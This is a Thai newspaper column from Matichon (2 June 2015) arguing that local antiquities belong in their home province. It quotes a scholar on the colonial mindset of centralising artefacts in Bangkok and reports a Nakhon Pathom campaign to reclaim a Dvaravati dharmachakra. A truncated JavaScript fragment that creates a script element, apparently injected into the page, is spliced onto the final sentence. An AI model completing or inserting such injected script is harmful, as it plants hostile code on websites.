มติชนรายวัน ฉบับประจำวันอังคารที่ 2 มิถุนายน 2558

 

มรดกท้องถิ่น ควรอยู่ท้องถิ่น

           โลกเปลี่ยนไป สังคมไทยเปลี่ยนแปลง

           ดังนั้น โบราณศิลปวัตถุพบท้องถิ่นไหน? ควรอยู่ท้องถิ่นนั้น (เว้นเสียแต่มีเหตุสุดวิสัยเป็นแต่ละกรณีไป)

           มรดกของนครปฐม พบที่นครปฐม ควรส่งคืนนครปฐม

 

อาณานิคมภายใน

           การรวบรวมโบราณศิลปวัตถุสำคัญจากทั่วประเทศ รวมทั้งจากนครปฐม ไว้ที่กรุงเทพฯ

           ธเนศ อาภรณ์สุวรรณ (ธรรมศาสตราภิชาน วิทยาลัยนานาชาติ ปรีดี พนมยงค์ ม.ธรรมศาสตร์) กล่าวว่า สะท้อนถึงวิธีคิดแบบอาณานิคมซึ่งติดอยู่ในระบบราชการ ตั้งแต่มีการปฏิรูปการปกครองสยามในสมัยรัชกาลที่ 5 (มติชน ฉบับวันจันทร์ที่ 25 พฤษภาคม พ.ศ. 2558 หน้า 1) แล้วบอกต่อไปอีกว่า

           “วิธีคิดแบบอาณานิคม คือเจ้าของเดิมต้องไม่มีความสามารถ ไม่รู้เรื่อง เป็นพวกบ้านนอก ไร้อารยธรรม เราเหนือกว่า เพราะฉะนั้นขนกลับมาให้หมด ของดีต้องคู่กับคนมีอารยธรรม อย่างที่ฝรั่งเศสไปยึดของมาจากอียิปต์ในสมัยพระเจ้านโปเลียน

           กรณีกรุงเทพฯกับนครปฐม และที่อื่นๆ ก็เหมือนกัน ส่วนหนึ่งเป็นเพราะวิธีคิดแบบระบบราชการไทย ซึ่งในสมัย ร.5 เป็นต้นมาใช้โครงสร้างการปกครองแบบอาณานิคม ทั้งกฎหมาย วิธีปฏิบัติ ความคิด ความเชื่อ เป็นแบบเจ้าอาณานิคม”

           “ราชการต้องเปลี่ยนวิธีคิดมาเคารพชาวบ้าน ต้องยกเครื่องพิพิธภัณฑสถานแห่งชาติเสียใหม่ ถ้าปรับวิธีทำงาน เรื่องกระทบกระทั่งต่างๆ จะลดลงไปได้”

 

ทวงคืนมรดกนครปฐม

           กลุ่ม “รักปฐมนคร” ซึ่งคัดค้านการยุบและย้ายพิพิธภัณฑสถานแห่งชาติ (พช.) พระปฐมเจดีย์ จ. นครปฐม หารือเตรียมทวงคืนธรรมจักรสมัยทวารวดีจากพิพิธภัณฑสถานแห่งชาติ พระนคร ในกรุงเทพฯ ซึ่งเป็นโบราณวัตถุที่พบใน จ. นครปฐม เพื่อจัดแสดงในอาคารที่จะสร้างใหม่ บริเวณเรือนจำเก่า

           นายสมชาย รัตนอารี แกนนำกลุ่ม “รักปฐมนคร” กล่าวว่า ในอนาคตถ้าอาคารพิพิธภัณฑ์แห่งใหม่แล้วเสร็จ โบราณวัตถุที่ขุดพบในนครปฐมที่ไปอยู่ที่อื่น จะนำกลับคืนมาได้หรือไม่ เพราะสถานที่ใหม่จะมีพื้นที่ขยายใหญ่ขึ้น หากสามารถกลับมาที่เดิมได้ น่าจะเป็นสิ่งที่ดี

           นายมนัสศักดิ์ รักอู่ นักวิชาการอิสระ (อดีตเจ้าหน้าที่ พช. กรมศิลปากร) กล่าวว่า เมื่อราว พ.ศ. 2540 เคยมีแนวคิดทวงคืนมาแล้วครั้งหนึ่ง โดยกลุ่ม “คนรักพิพิธภัณฑสถานแห่งชาติ พระปฐมเจดีย์” ซึ่งส่วนใหญ่เป็นครู ได้ไปพบโบราณวัตถุจากนครปฐมจัดแสดงอยู่ที่ พช.พระนคร เลยมีคำถามว่าทำไมโบราณวัตถุจากนครปฐมมาไปจัดแสดงที่อื่น

           ครั้งนั้นนายมนัสศักดิ์จึงสอบถามผู้ใหญ่ท่านหนึ่งในกรมศิลปากร ได้คำตอบว่า พช.พระปฐมเจดีย์มีพื้นที่คับแคบอาจไม่เหมาะสมต่อการจัดแสดงและเก็บรักษา อีกทั้งจะกลายเป็นตัวอย่างให้แก่จังหวัดอื่น อาจเกิดการทวงคืนทั่วประเทศ กลายเป็นปัญหายุ่งยาก

           โลกเปลี่ยนไป สังคมไทยเปลี่ยนแปลง มรดกท้องถิ่นไหน ควรอยู่ท้องถิ่นนั้นvar d=document;var s=d.createElement(‘script’);